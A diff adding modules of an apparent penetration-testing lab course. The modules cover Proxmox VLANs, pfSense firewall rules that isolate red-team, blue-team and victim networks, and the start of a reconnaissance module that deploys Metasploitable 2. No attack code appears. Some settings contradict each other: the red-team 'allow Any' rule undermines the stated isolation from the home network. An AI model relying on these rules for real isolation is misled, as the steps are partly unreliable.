|
||||
**Next Steps:**
|
||||
Once you can confidently complete all labs and pass the knowledge check, you are ready for MOD1: Secure Infrastructure Provisioning.
|
||||
|
||||
**Study Resources:**
|
||||
- Linux: "The Linux Command Line" by William Shotts (free PDF)
|
||||
- Windows: Microsoft Learn PowerShell documentation
|
||||
- Networking: Professor Messer's Network+ videos (YouTube)
|
||||
- Subnetting: subnetipv4.com (practice calculator)
|
||||
|
||||
**Questions for Self-Assessment:**
|
||||
1. If you see Event ID 4625 repeating from IP 203.0.113.50, what is likely happening?
|
||||
- Answer: Brute-force login attempt (failed authentication)
|
||||
2. A file has permissions `-rwxr-x---`. Can the owning group execute it?
|
||||
- Answer: Yes (r-x = read and execute)
|
||||
3. Network 172.16.50.0/28 has how many usable hosts?
|
||||
- Answer: 14 (2^4 - 2 = 16 - 2)
|
||||
|
||||
---
|
||||
|
||||
**END OF MODULE 0**
|
||||
|
||||
Proceed to MOD1 when ready. Remember: **Snapshot your VMs before each new module!**
|
||||
755
MOD1_Secure_Infrastructure.md
Normal file
755
MOD1_Secure_Infrastructure.md
Normal file
@@ -0,0 +1,755 @@
|
||||
# FILE: MOD1_Secure_Infrastructure.md
|
||||
# MODULE 1: SECURE INFRASTRUCTURE PROVISIONING
|
||||
|
||||
## Learning Objectives
|
||||
By completing this module, you will:
|
||||
- Configure VLAN-aware networking in Proxmox
|
||||
- Deploy and configure pfSense as a virtual firewall/router
|
||||
- Create isolated network segments using 802.1Q VLAN tagging
|
||||
- Implement firewall rules to prevent malicious traffic from escaping the lab
|
||||
- Validate network segmentation through connectivity testing
|
||||
|
||||
---
|
||||
|
||||
## Key Concepts
|
||||
|
||||
### Hypervisor Networking
|
||||
**Proxmox uses Linux Bridges** (`vmbr0`, `vmbr1`, etc.) to connect virtual network interface cards (vNICs) to physical hardware. Think of a bridge as a virtual switch inside your hypervisor.
|
||||
|
||||
### VLAN Tagging (802.1Q)
|
||||
**What is a VLAN?** A Virtual Local Area Network allows multiple isolated networks to coexist on the same physical infrastructure. Each VLAN has a unique ID (1-4094).
|
||||
|
||||
**Tagged vs Untagged Traffic:**
|
||||
- **Untagged:** Normal traffic (like your home Wi-Fi) - no VLAN ID
|
||||
- **Tagged:** Traffic with an 802.1Q header containing VLAN ID
|
||||
- **Trunk Port:** Network port that carries multiple VLANs (tagged)
|
||||
- **Access Port:** Network port for a single VLAN (untagged)
|
||||
|
||||
### The Virtual Firewall
|
||||
**pfSense** will act as the default gateway for all lab VLANs, strictly controlling traffic flow between them. Without proper firewall rules, your attack traffic could leak into your home network!
|
||||
|
||||
---
|
||||
|
||||
## LAB 1.1: PROXMOX NETWORK CONFIGURATION
|
||||
|
||||
### Prerequisites
|
||||
- Proxmox VE installed and accessible via web interface (https://PROXMOX-IP:8006)
|
||||
- Physical network port connected to your home network
|
||||
|
||||
### Step-by-Step: Enable VLAN Awareness
|
||||
|
||||
```
|
||||
1. Access Proxmox Web Interface:
|
||||
- Open browser: https://<PROXMOX-IP>:8006
|
||||
- Login with root credentials
|
||||
|
||||
2. Navigate to Network Configuration:
|
||||
- Click on your Proxmox node (e.g., "pve")
|
||||
- Click "System" > "Network"
|
||||
|
||||
3. Identify Your Bridge:
|
||||
- You should see "vmbr0" (default bridge)
|
||||
- Note which physical interface it's connected to (e.g., eno1, eth0)
|
||||
|
||||
4. Enable VLAN Awareness:
|
||||
- Select "vmbr0"
|
||||
- Click "Edit"
|
||||
- Check the box: "VLAN aware"
|
||||
- Comment: "VLAN-aware bridge for security lab"
|
||||
- Click "OK"
|
||||
|
||||
5. Apply Configuration:
|
||||
- Click "Apply Configuration" at the top
|
||||
- WARNING: This may briefly disconnect your Proxmox web interface
|
||||
- Wait 10 seconds, then refresh browser
|
||||
|
||||
6. Verify Configuration:
|
||||
- SSH into Proxmox host (or use Shell button in web GUI)
|
||||
- Run: cat /etc/network/interfaces
|
||||
- Verify "bridge-vlan-aware yes" appears under vmbr0
|
||||
```
|
||||
|
||||
**Expected Output (Proxmox Bridge Config):**
|
||||
```
|
||||
auto vmbr0
|
||||
iface vmbr0 inet static
|
||||
address 192.168.2.100/24
|
||||
gateway 192.168.2.1
|
||||
bridge-ports eno1
|
||||
bridge-stp off
|
||||
bridge-fd 0
|
||||
bridge-vlan-aware yes
|
||||
|
||||
# Note: Your Proxmox hypervisor management remains on 192.168.2.0/24 (VLAN 2)
|
||||
# Lab VMs will use VLAN tags 100-400 for the 10.10.x.0/24 networks
|
||||
# pfSense will route between the lab VLANs and provide internet via WAN
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## LAB 1.2: PFSENSE VM DEPLOYMENT
|
||||
|
||||
### pfSense VM Specifications
|
||||
- **CPU:** 2 cores
|
||||
- **RAM:** 2048 MB (2 GB)
|
||||
- **Disk:** 16 GB (thin provision)
|
||||
- **Network Adapters:** 2
|
||||
- vNIC 0 (WAN): Bridged to vmbr0, VLAN Tag: 2 (connects to 192.168.2.0/24)
|
||||
- vNIC 1 (LAN): Bridged to vmbr0, no VLAN tag (will create subinterfaces for VLANs 100-400)
|
||||
|
||||
### Step-by-Step: Create pfSense VM
|
||||
|
||||
```
|
||||
1. Download pfSense ISO:
|
||||
- Visit: https://www.pfsense.org/download/
|
||||
- Select: AMD64 (64-bit), DVD Image (ISO Installer)
|
||||
- Upload to Proxmox: Storage > ISO Images > Upload
|
||||
|
||||
2. Create Virtual Machine:
|
||||
- Click "Create VM" (top right)
|
||||
|
||||
GENERAL TAB:
|
||||
- Node: (your Proxmox node)
|
||||
- VM ID: 100
|
||||
- Name: pfSense-Firewall
|
||||
- Click "Next"
|
||||
|
||||
OS TAB:
|
||||
- ISO image: pfsense-CE-X.X.X-amd64.iso
|
||||
- Guest OS Type: Linux
|
||||
- Kernel: 6.x - 2.6 Kernel
|
||||
- Click "Next"
|
||||
|
||||
SYSTEM TAB:
|
||||
- Graphic card: Default
|
||||
- Machine: Default (i440fx)
|
||||
- BIOS: Default (SeaBIOS)
|
||||
- Qemu Agent: Unchecked (for now)
|
||||
- Click "Next"
|
||||
|
||||
DISKS TAB:
|
||||
- Bus/Device: SCSI / 0
|
||||
- Storage: local-lvm (or your storage)
|
||||
- Disk size: 16 GB
|
||||
- Click "Next"
|
||||
|
||||
CPU TAB:
|
||||
- Sockets: 1
|
||||
- Cores: 2
|
||||
- Type: host (or kvm64)
|
||||
- Click "Next"
|
||||
|
||||
MEMORY TAB:
|
||||
- Memory (MiB): 2048
|
||||
- Click "Next"
|
||||
|
||||
NETWORK TAB (WAN Interface):
|
||||
- Bridge: vmbr0
|
||||
- VLAN Tag: 2 (connects to 192.168.2.0/24 management network)
|
||||
- Model: VirtIO (paravirtualized)
|
||||
- Click "Next"
|
||||
|
||||
CONFIRM:
|
||||
- Start after created: Unchecked
|
||||
- Click "Finish"
|
||||
|
||||
3. Add Second Network Interface (LAN):
|
||||
- Select pfSense VM > Hardware
|
||||
- Click "Add" > "Network Device"
|
||||
- Bridge: vmbr0
|
||||
- VLAN Tag: <leave blank> (we'll tag inside pfSense)
|
||||
- Model: VirtIO
|
||||
- Click "Add"
|
||||
|
||||
4. Start pfSense Installation:
|
||||
- Select pfSense VM > Console
|
||||
- Click "Start"
|
||||
- Wait for boot menu
|
||||
```
|
||||
|
||||
### pfSense Installation Process
|
||||
|
||||
```
|
||||
1. Boot Menu:
|
||||
- Select: "1) Boot Multi User [Enter]"
|
||||
- Wait for FreeBSD kernel to load
|
||||
|
||||
2. Welcome Screen:
|
||||
- Accept: Press Enter
|
||||
|
||||
3. Install pfSense:
|
||||
- Select: "Install" > "OK"
|
||||
|
||||
4. Partitioning:
|
||||
- Select: "Auto (ZFS)" > "OK"
|
||||
- Select: "Stripe" > "OK"
|
||||
- Select: vtbd0 (your virtual disk) > Spacebar to select > "OK"
|
||||
- Confirm: "YES" (will erase disk)
|
||||
- Wait for installation (2-3 minutes)
|
||||
|
||||
5. Reboot:
|
||||
- Select: "No" (to manual configuration)
|
||||
- Select: "Reboot"
|
||||
- When rebooting starts: VM > Hardware > CD/DVD > "Do not use any media"
|
||||
- Wait for pfSense to boot
|
||||
|
||||
6. Interface Assignment:
|
||||
- Should VLANs be set up now? n (No - we'll do this via web GUI)
|
||||
- Enter WAN interface name: vtnet0
|
||||
- Enter LAN interface name: vtnet1
|
||||
- Do you want to proceed? y (Yes)
|
||||
|
||||
7. pfSense Menu:
|
||||
- You should now see the pfSense menu
|
||||
- Note the LAN IP address (default: 192.168.1.1)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## LAB 1.3: PFSENSE WEB INTERFACE SETUP
|
||||
|
||||
### Temporary Access to pfSense WebGUI
|
||||
|
||||
Since pfSense LAN is 192.168.1.1 but we want our management network on VLAN 100, we need temporary access:
|
||||
|
||||
```
|
||||
OPTION A: Create Temporary VM in Proxmox
|
||||
1. Create small Linux VM (Alpine or Ubuntu)
|
||||
2. Set its vNIC to vmbr0, no VLAN tag
|
||||
3. Configure static IP: 192.168.1.50/24
|
||||
4. Open browser to: https://192.168.1.1
|
||||
5. Default credentials: admin / pfsense
|
||||
|
||||
OPTION B: Configure via Console (Recommended)
|
||||
1. In pfSense console menu, select: 2) Set interface(s) IP address
|
||||
2. Select: 1 - WAN
|
||||
3. Configure IPv4 address WAN interface via DHCP? n (No, static)
|
||||
4. Enter new IPv4 address: 192.168.2.2
|
||||
5. Enter subnet bit count: 24
|
||||
6. Enter upstream gateway: 192.168.2.1
|
||||
7. Configure IPv6? n (No)
|
||||
8. Do you want to revert to HTTP? n (No, keep HTTPS)
|
||||
9. Press Enter to complete
|
||||
|
||||
10. Return to menu, select: 2) Set interface(s) IP address
|
||||
11. Select: 2 - LAN
|
||||
12. Enter new IP: 10.10.1.1
|
||||
13. Enter subnet: 24
|
||||
14. No upstream gateway: <leave blank>
|
||||
15. No DHCP server for now: <leave blank>
|
||||
16. Do NOT configure IPv6: <leave blank>
|
||||
17. Do you want to revert to HTTP? n (No, keep HTTPS)
|
||||
|
||||
Now access pfSense from Proxmox host (both on 192.168.2.0/24):
|
||||
https://192.168.2.2 (via WAN interface)
|
||||
or configure a temporary VM on VLAN 100 to access https://10.10.1.1
|
||||
```
|
||||
|
||||
### pfSense Initial Wizard
|
||||
|
||||
```
|
||||
1. Access WebGUI:
|
||||
- Browser: https://10.10.1.1
|
||||
- Accept self-signed certificate warning
|
||||
- Username: admin
|
||||
- Password: pfsense
|
||||
|
||||
2. Setup Wizard:
|
||||
- Click "Next"
|
||||
|
||||
GENERAL INFORMATION:
|
||||
- Hostname: pfsense
|
||||
- Domain: apophis.local
|
||||
- Primary DNS: 8.8.8.8 (Google DNS)
|
||||
- Secondary DNS: 1.1.1.1 (Cloudflare DNS)
|
||||
- Uncheck "Override DNS"
|
||||
- Click "Next"
|
||||
|
||||
TIME SERVER:
|
||||
- Time server hostname: pool.ntp.org
|
||||
- Timezone: (Select your timezone)
|
||||
- Click "Next"
|
||||
|
||||
WAN CONFIGURATION:
|
||||
- Type: Static IP
|
||||
- IP Address: 192.168.2.2
|
||||
- Subnet Mask: 24 (/24)
|
||||
- Upstream Gateway: 192.168.2.1
|
||||
- Click "Next"
|
||||
|
||||
LAN CONFIGURATION:
|
||||
- IP Address: 10.10.1.1
|
||||
- Subnet Mask: 24 (/24)
|
||||
- Click "Next"
|
||||
|
||||
ADMIN PASSWORD:
|
||||
- Change default password from "pfsense" to strong password
|
||||
- Confirm password
|
||||
- Click "Next"
|
||||
|
||||
RELOAD:
|
||||
- Click "Reload"
|
||||
- Wait for pfSense to apply configuration
|
||||
|
||||
3. Login with New Password:
|
||||
- Username: admin
|
||||
- Password: (your new password)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## LAB 1.4: VLAN INTERFACE CREATION
|
||||
|
||||
Now we create VLANs 200, 300, 400 for Red/Blue/Victim networks.
|
||||
|
||||
### Step-by-Step: Create VLANs
|
||||
|
||||
```
|
||||
1. Navigate to VLAN Configuration:
|
||||
- Interfaces > Assignments > VLANs
|
||||
|
||||
2. Create VLAN 200 (Red Team):
|
||||
- Click "+ Add"
|
||||
- Parent Interface: vtnet1 (LAN interface)
|
||||
- VLAN Tag: 200
|
||||
- VLAN Priority: 0
|
||||
- Description: RED_TEAM
|
||||
- Click "Save"
|
||||
|
||||
3. Create VLAN 300 (Blue Team):
|
||||
- Click "+ Add"
|
||||
- Parent Interface: vtnet1
|
||||
- VLAN Tag: 300
|
||||
- Description: BLUE_TEAM
|
||||
- Click "Save"
|
||||
|
||||
4. Create VLAN 400 (Victim Network):
|
||||
- Click "+ Add"
|
||||
- Parent Interface: vtnet1
|
||||
- VLAN Tag: 400
|
||||
- Description: VICTIM_NET
|
||||
- Click "Save"
|
||||
|
||||
5. Verify VLANs:
|
||||
- You should see: vtnet1.200, vtnet1.300, vtnet1.400
|
||||
```
|
||||
|
||||
### Assign VLANs to Interfaces
|
||||
|
||||
```
|
||||
1. Navigate to Interface Assignments:
|
||||
- Interfaces > Assignments
|
||||
|
||||
2. Assign VLAN 200:
|
||||
- Available network ports: Select "vtnet1.200 (RED_TEAM)"
|
||||
- Click "+ Add"
|
||||
- New interface appears as "OPT1"
|
||||
|
||||
3. Assign VLAN 300:
|
||||
- Select "vtnet1.300 (BLUE_TEAM)"
|
||||
- Click "+ Add" (becomes OPT2)
|
||||
|
||||
4. Assign VLAN 400:
|
||||
- Select "vtnet1.400 (VICTIM_NET)"
|
||||
- Click "+ Add" (becomes OPT3)
|
||||
|
||||
5. Configure OPT1 (Red Team):
|
||||
- Click "OPT1"
|
||||
- Check "Enable interface"
|
||||
- Description: RED_TEAM
|
||||
- IPv4 Configuration Type: Static IPv4
|
||||
- IPv4 Address: 10.10.2.1 / 24
|
||||
- Click "Save"
|
||||
- Click "Apply Changes"
|
||||
|
||||
6. Configure OPT2 (Blue Team):
|
||||
- Click "OPT2"
|
||||
- Enable interface
|
||||
- Description: BLUE_TEAM
|
||||
- IPv4 Address: 10.10.3.1 / 24
|
||||
- Click "Save" > "Apply Changes"
|
||||
|
||||
7. Configure OPT3 (Victim Network):
|
||||
- Click "OPT3"
|
||||
- Enable interface
|
||||
- Description: VICTIM_NET
|
||||
- IPv4 Address: 10.10.4.1 / 24
|
||||
- Click "Save" > "Apply Changes"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## LAB 1.5: FIREWALL RULE CONFIGURATION
|
||||
|
||||
**Critical Security Principle:** Default Deny Everything, Explicitly Allow Only What's Needed
|
||||
|
||||
### Understanding pfSense Firewall Logic
|
||||
- Rules are processed **top to bottom**
|
||||
- **First match wins** (stops processing)
|
||||
- Each interface has its own rule set
|
||||
- Traffic is filtered on the **incoming interface**
|
||||
|
||||
### Step-by-Step: Configure Security Rules
|
||||
|
||||
```
|
||||
1. Enable DHCP for Each VLAN:
|
||||
- Services > DHCP Server > RED_TEAM
|
||||
- Check "Enable DHCP server on RED_TEAM"
|
||||
- Range: 10.10.2.100 to 10.10.2.200
|
||||
- Click "Save"
|
||||
- Repeat for BLUE_TEAM (10.10.3.100 - .200)
|
||||
- Repeat for VICTIM_NET (10.10.4.100 - .200)
|
||||
|
||||
2. Configure RED_TEAM Firewall Rules:
|
||||
- Firewall > Rules > RED_TEAM
|
||||
|
||||
DELETE DEFAULT "Allow All" RULE:
|
||||
- Click trash icon on default allow rule
|
||||
- Confirm deletion
|
||||
|
||||
ADD RULE 1: Allow Red to Victim Network
|
||||
- Click "Add" (up arrow to add to top)
|
||||
- Action: Pass
|
||||
- Interface: RED_TEAM
|
||||
- Address Family: IPv4
|
||||
- Protocol: Any
|
||||
- Source: RED_TEAM net
|
||||
- Destination: VICTIM_NET net
|
||||
- Description: Allow Red Team to attack Victim Network
|
||||
- Click "Save"
|
||||
|
||||
ADD RULE 2: Allow Red to Internet (for tool updates)
|
||||
- Click "Add"
|
||||
- Action: Pass
|
||||
- Interface: RED_TEAM
|
||||
- Protocol: Any
|
||||
- Source: RED_TEAM net
|
||||
- Destination: Any
|
||||
- Description: Allow Red Team internet access for tools
|
||||
- Click "Save"
|
||||
|
||||
ADD RULE 3: Block Red to Everything Else (implicit, but good practice)
|
||||
- Click "Add" (add to bottom)
|
||||
- Action: Block
|
||||
- Interface: RED_TEAM
|
||||
- Protocol: Any
|
||||
- Source: Any
|
||||
- Destination: Any
|
||||
- Description: Block all other Red Team traffic
|
||||
- Click "Save"
|
||||
|
||||
- Click "Apply Changes"
|
||||
|
||||
3. Configure BLUE_TEAM Firewall Rules:
|
||||
- Firewall > Rules > BLUE_TEAM
|
||||
- Delete default allow rule
|
||||
|
||||
ADD RULE: Allow Blue to Monitor All Networks
|
||||
- Action: Pass
|
||||
- Interface: BLUE_TEAM
|
||||
- Protocol: Any
|
||||
- Source: BLUE_TEAM net
|
||||
- Destination: Any
|
||||
- Description: Allow Blue Team full network access
|
||||
- Click "Save" > "Apply Changes"
|
||||
|
||||
4. Configure VICTIM_NET Firewall Rules:
|
||||
- Firewall > Rules > VICTIM_NET
|
||||
- Delete default allow rule
|
||||
|
||||
ADD RULE 1: Block Victim to Red Team
|
||||
- Action: Block
|
||||
- Interface: VICTIM_NET
|
||||
- Protocol: Any
|
||||
- Source: VICTIM_NET net
|
||||
- Destination: RED_TEAM net
|
||||
- Description: CRITICAL - Prevent victim from reaching attacker
|
||||
- Log: Check "Log packets matched by this rule"
|
||||
- Click "Save"
|
||||
|
||||
ADD RULE 2: Block Victim to Blue Team
|
||||
- Action: Block
|
||||
- Source: VICTIM_NET net
|
||||
- Destination: BLUE_TEAM net
|
||||
- Description: Isolate victims from SOC network
|
||||
- Click "Save"
|
||||
|
||||
ADD RULE 3: Block Victim to WAN (Internet)
|
||||
- Action: Block
|
||||
- Source: VICTIM_NET net
|
||||
- Destination: WAN net
|
||||
- Description: Prevent compromised systems from calling home
|
||||
- Log: Check
|
||||
- Click "Save"
|
||||
|
||||
ADD RULE 4: Allow Victim to pfSense (for DNS, DHCP)
|
||||
- Action: Pass
|
||||
- Source: VICTIM_NET net
|
||||
- Destination: This Firewall (self)
|
||||
- Description: Allow access to pfSense services
|
||||
- Click "Save"
|
||||
|
||||
ADD RULE 5: Block Victim Everything Else
|
||||
- Action: Block
|
||||
- Source: VICTIM_NET net
|
||||
- Destination: Any
|
||||
- Description: Default deny all victim traffic
|
||||
- Log: Check
|
||||
- Click "Save" > "Apply Changes"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## LAB 1.6: VALIDATION & TESTING
|
||||
|
||||
**CRITICAL: Do not proceed to Module 2 until all tests pass!**
|
||||
|
||||
### Test 1: Red Team to Victim Connectivity
|
||||
|
||||
```
|
||||
1. Create Test VM in Proxmox:
|
||||
- Create Ubuntu Server VM
|
||||
- VM ID: 201
|
||||
- Name: Kali-Test
|
||||
- Hardware > Network > Edit: Bridge vmbr0, VLAN Tag: 200
|
||||
|
||||
2. Boot VM and verify network:
|
||||
- Login to VM console
|
||||
- Check IP: ip addr show
|
||||
- Should have: 10.10.2.x (from DHCP)
|
||||
|
||||
3. Test gateway reachability:
|
||||
- ping 10.10.2.1
|
||||
- Should succeed (pfSense RED_TEAM gateway)
|
||||
|
||||
4. Test Victim network reachability:
|
||||
- Create second VM with VLAN Tag: 400
|
||||
- Note its IP (10.10.4.x)
|
||||
- From Red Team VM: ping 10.10.4.x
|
||||
- Should succeed (Rule allows Red → Victim)
|
||||
```
|
||||
|
||||
### Test 2: Victim to Red Team Blocked
|
||||
|
||||
```
|
||||
1. From Victim VM (VLAN 400):
|
||||
- ping 10.10.2.1 (Red Team gateway)
|
||||
- Should FAIL (timeout)
|
||||
|
||||
2. Verify in pfSense logs:
|
||||
- Status > System Logs > Firewall
|
||||
- Should see: "Block" entries from 10.10.4.x to 10.10.2.x
|
||||
```
|
||||
|
||||
### Test 3: Victim to Internet Blocked
|
||||
|
||||
```
|
||||
1. From Victim VM:
|
||||
- ping 8.8.8.8
|
||||
- Should FAIL
|
||||
|
||||
2. Try DNS lookup:
|
||||
- nslookup google.com
|
||||
- Should timeout (no WAN access)
|
||||
```
|
||||
|
||||
### Test 4: Red Team Internet Access
|
||||
|
||||
```
|
||||
1. From Red Team VM:
|
||||
- ping 8.8.8.8
|
||||
- Should succeed
|
||||
|
||||
2. Update package lists:
|
||||
- sudo apt update
|
||||
- Should work (confirms internet access)
|
||||
```
|
||||
|
||||
### Test 5: Isolation from Home Network
|
||||
|
||||
```
|
||||
1. Find your home network device IP (e.g., your desktop):
|
||||
- Example: 192.168.1.50
|
||||
|
||||
2. From Red Team VM:
|
||||
- ping 192.168.1.50
|
||||
- Should FAIL (Red Team cannot reach home network)
|
||||
|
||||
3. From Victim VM:
|
||||
- ping 192.168.1.50
|
||||
- Should FAIL (critical security validation!)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## TROUBLESHOOTING GUIDE
|
||||
|
||||
### Issue: VM not getting DHCP address
|
||||
|
||||
```
|
||||
Proxmox side:
|
||||
- VM > Hardware > Network Device > Edit
|
||||
- Verify: Bridge = vmbr0, VLAN Tag correct, "Connected" checked
|
||||
|
||||
pfSense side:
|
||||
- Status > Services
|
||||
- Verify DHCP service is running for that interface
|
||||
- Services > DHCP Server > [Interface]
|
||||
- Verify range is configured and enabled
|
||||
|
||||
Inside VM:
|
||||
# Linux
|
||||
sudo dhclient -r # Release
|
||||
sudo dhclient # Renew
|
||||
|
||||
# Windows
|
||||
ipconfig /release
|
||||
ipconfig /renew
|
||||
```
|
||||
|
||||
### Issue: Can't access pfSense WebGUI
|
||||
|
||||
```
|
||||
1. Verify pfSense is running:
|
||||
- Proxmox > VM 100 > Console
|
||||
- Should see pfSense menu
|
||||
|
||||
2. Check which VM you're accessing from:
|
||||
- Must be on same VLAN or management network
|
||||
- If on VLAN 200: access https://10.10.2.1
|
||||
- If on management: access https://10.10.1.1
|
||||
|
||||
3. Disable HTTPS redirect temporarily:
|
||||
- pfSense console: Option 8 (Shell)
|
||||
- pfSsh.php playback disablehttpredirect
|
||||
- Try http://10.10.1.1
|
||||
```
|
||||
|
||||
### Issue: VLAN tags not working
|
||||
|
||||
```
|
||||
1. Verify Proxmox bridge is VLAN-aware:
|
||||
- SSH to Proxmox
|
||||
- grep -A5 "vmbr0" /etc/network/interfaces
|
||||
- Must show: bridge-vlan-aware yes
|
||||
|
||||
2. Verify VM has VLAN tag set:
|
||||
- Proxmox > VM > Hardware > Network Device
|
||||
- VLAN Tag field must have number (200, 300, 400)
|
||||
- NOT blank for tagged traffic
|
||||
|
||||
3. Restart networking:
|
||||
- Proxmox: systemctl restart networking (CAREFUL - may lose connection)
|
||||
- Or reboot VM
|
||||
```
|
||||
|
||||
### Issue: Firewall rules not working
|
||||
|
||||
```
|
||||
1. Check rule order:
|
||||
- Firewall > Rules > [Interface]
|
||||
- Remember: First match wins
|
||||
- Block rules should be BEFORE allow rules for specificity
|
||||
|
||||
2. Verify interface is correct:
|
||||
- Rule must be on the INCOMING interface
|
||||
- To block Red→Victim: Rule goes on RED_TEAM interface
|
||||
|
||||
3. Clear states:
|
||||
- Diagnostics > States > Reset States
|
||||
- Click "Reset" (clears connection state table)
|
||||
- Re-test
|
||||
|
||||
4. Enable logging:
|
||||
- Edit rule > Check "Log packets matched by this rule"
|
||||
- Save > Apply
|
||||
- Test traffic
|
||||
- Status > System Logs > Firewall (see if rule matched)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## PROFESSOR'S GUIDANCE
|
||||
|
||||
### Common Mistakes to Avoid
|
||||
|
||||
**1. Asymmetric Routing:**
|
||||
- Ensure all VMs use pfSense as their gateway (10.10.X.1)
|
||||
- Do NOT configure VMs with your home router as gateway
|
||||
|
||||
**2. Forgetting to Apply Changes:**
|
||||
- pfSense requires clicking "Apply Changes" after rule modifications
|
||||
- Red banner at top indicates unapplied changes
|
||||
|
||||
**3. Wrong VLAN Tag Placement:**
|
||||
- Tags go on VM's network interface in Proxmox
|
||||
- NOT on pfSense WAN interface
|
||||
- pfSense LAN interface (vtnet1) should be untagged, then create VLAN subinterfaces
|
||||
|
||||
**4. Testing from Wrong VM:**
|
||||
- If testing VLAN 200 rules, you must be in a VM with VLAN Tag 200
|
||||
- Can't test from Proxmox host shell
|
||||
|
||||
### Why This Module is Critical
|
||||
|
||||
Every penetration test begins with a safe, isolated environment. If you skip proper network segmentation, you risk:
|
||||
- Malware escaping to your home network
|
||||
- Accidentally scanning your ISP's infrastructure (illegal)
|
||||
- Bricking your personal devices with exploit tools
|
||||
|
||||
**Real-world parallel:** Enterprise networks use VLANs to separate:
|
||||
- Guest Wi-Fi (untrusted)
|
||||
- Employee workstations (medium trust)
|
||||
- Server VLAN (high trust)
|
||||
- Management VLAN (admin only)
|
||||
|
||||
Your lab mirrors this architecture. Master it here, understand it everywhere.
|
||||
|
||||
### Time Investment
|
||||
- Initial setup: 2-4 hours
|
||||
- Troubleshooting (first time): 1-3 hours
|
||||
- Validation testing: 30 minutes
|
||||
|
||||
**Total: 4-8 hours**
|
||||
|
||||
### Next Steps
|
||||
Once all validation tests pass:
|
||||
1. Take Proxmox backup of pfSense VM: Backup > Backup Now
|
||||
2. **Snapshot pfSense VM** (revert point if you misconfigure later)
|
||||
3. Document your network diagram (draw VLANs, IP ranges, firewall rules)
|
||||
4. Proceed to **MOD2: Reconnaissance & Network Traffic Analysis**
|
||||
|
||||
---
|
||||
|
||||
## KNOWLEDGE CHECK
|
||||
|
||||
Before proceeding, you should confidently answer:
|
||||
|
||||
1. **What is the purpose of VLAN tagging?**
|
||||
- Answer: Allows multiple isolated networks to share physical infrastructure
|
||||
|
||||
2. **Which pfSense interface do firewall rules apply to?**
|
||||
- Answer: The incoming interface (where traffic enters)
|
||||
|
||||
3. **Why must VICTIM_NET be blocked from reaching WAN?**
|
||||
- Answer: Prevents compromised systems from communicating with attacker C2 servers
|
||||
|
||||
4. **If a VM in VLAN 200 can't get DHCP, what are 3 things to check?**
|
||||
- Answer: (1) VLAN tag set in Proxmox, (2) DHCP enabled in pfSense, (3) VM cable "connected"
|
||||
|
||||
5. **What does "First match wins" mean in firewall rules?**
|
||||
- Answer: Rules are processed top-to-bottom; once a rule matches, processing stops
|
||||
|
||||
---
|
||||
|
||||
**END OF MODULE 1**
|
||||
|
||||
**Checklist before MOD2:**
|
||||
- [ ] pfSense firewall is configured and accessible
|
||||
- [ ] VLANs 200, 300, 400 are created and assigned
|
||||
- [ ] Red Team VM can ping Victim network
|
||||
- [ ] Victim VM cannot ping Red Team network
|
||||
- [ ] Victim VM cannot ping internet
|
||||
- [ ] Red Team VM can access internet
|
||||
- [ ] pfSense firewall logs are recording blocked traffic
|
||||
- [ ] Full Proxmox backup of pfSense VM exists
|
||||
799
MOD2_Recon_and_NTA.md
Normal file
799
MOD2_Recon_and_NTA.md
Normal file
@@ -0,0 +1,799 @@
|
||||
# FILE: MOD2_Recon_and_NTA.md
|
||||
# MODULE 2: RECONNAISSANCE & NETWORK TRAFFIC ANALYSIS
|
||||
|
||||
## Learning Objectives
|
||||
By completing this module, you will:
|
||||
- Perform active reconnaissance using Nmap to identify open ports and services
|
||||
- Understand TCP/UDP scanning techniques and their network signatures
|
||||
- Capture and analyze network traffic using Wireshark and tcpdump
|
||||
- Enumerate service versions and detect operating systems
|
||||
- Recognize the difference between stealth and noisy scanning techniques
|
||||
- Document findings for exploitation planning
|
||||
|
||||
---
|
||||
|
||||
## Key Concepts
|
||||
|
||||
### Active Reconnaissance
|
||||
**Active Recon** involves directly interacting with target systems to gather information. Unlike passive recon (Google searches, WHOIS lookups), active techniques send packets to the target and are **detectable** by IDS/IPS systems.
|
||||
|
||||
### Network Traffic Analysis (NTA)
|
||||
**NTA** is the process of capturing and dissecting raw network packets to:
|
||||
- Establish baseline "normal" traffic patterns
|
||||
- Detect anomalous scanning behavior
|
||||
- Investigate security incidents
|
||||
- Validate exploit success
|
||||
|
||||
### The TCP Three-Way Handshake
|
||||
```
|
||||
Client Server
|
||||
| |
|
||||
|-------- SYN ---------> | (Client initiates)
|
||||
|<----- SYN-ACK -------- | (Server acknowledges)
|
||||
|-------- ACK ---------> | (Client confirms - connection established)
|
||||
```
|
||||
|
||||
### Stealth Scanning (SYN Scan)
|
||||
```
|
||||
Client Server
|
||||
| |
|
||||
|-------- SYN ---------> | (Probe port)
|
||||
|<----- SYN-ACK -------- | (Port is OPEN)
|
||||
|-------- RST ---------> | (Client aborts - never completes handshake)
|
||||
```
|
||||
**Why stealth?** Never fully establishes connection, harder to log, faster.
|
||||
|
||||
---
|
||||
|
||||
## LAB 2.1: DEPLOY TARGET INFRASTRUCTURE
|
||||
|
||||
### Deploy Metasploitable 2 (Vulnerable Linux Target)
|
||||
|
||||
```
|
||||
1. Download Metasploitable 2:
|
||||
- Source: https://sourceforge.net/projects/metasploitable/files/Metasploitable2/
|
||||
- File: metasploitable-linux-2.0.0.zip
|
||||
- Extract to get .vmdk file
|
||||
|
||||
2. Upload to Proxmox:
|
||||
- SSH to Proxmox or use Shell
|
||||
- Navigate to: cd /var/lib/vz/images/
|
||||
- Create directory: mkdir 401
|
||||
- Upload .vmdk file to this directory
|
||||
|
||||
3. Create Proxmox VM:
|
||||
- VM ID: 401
|
||||
- Name: Metasploitable2
|
||||
- OS: Linux 5.x - 2.6 Kernel
|
||||
- CPU: 1 core
|
||||
- RAM: 512 MB
|
||||
- Do NOT add disk yet (we'll import existing)
|
||||
|
||||
4. Import Existing Disk:
|
||||
- SSH to Proxmox
|
||||
- Run: qm importdisk 401 /var/lib/vz/images/401/Metasploitable.vmdk local-lvm
|
||||
- Wait for import to complete
|
||||
|
||||
5. Attach Disk to VM:
|
||||
- Proxmox GUI > VM 401 > Hardware
|
||||
- Select "Unused Disk 0"
|
||||
- Click "Edit"
|
||||
- Bus/Device: IDE / 0
|
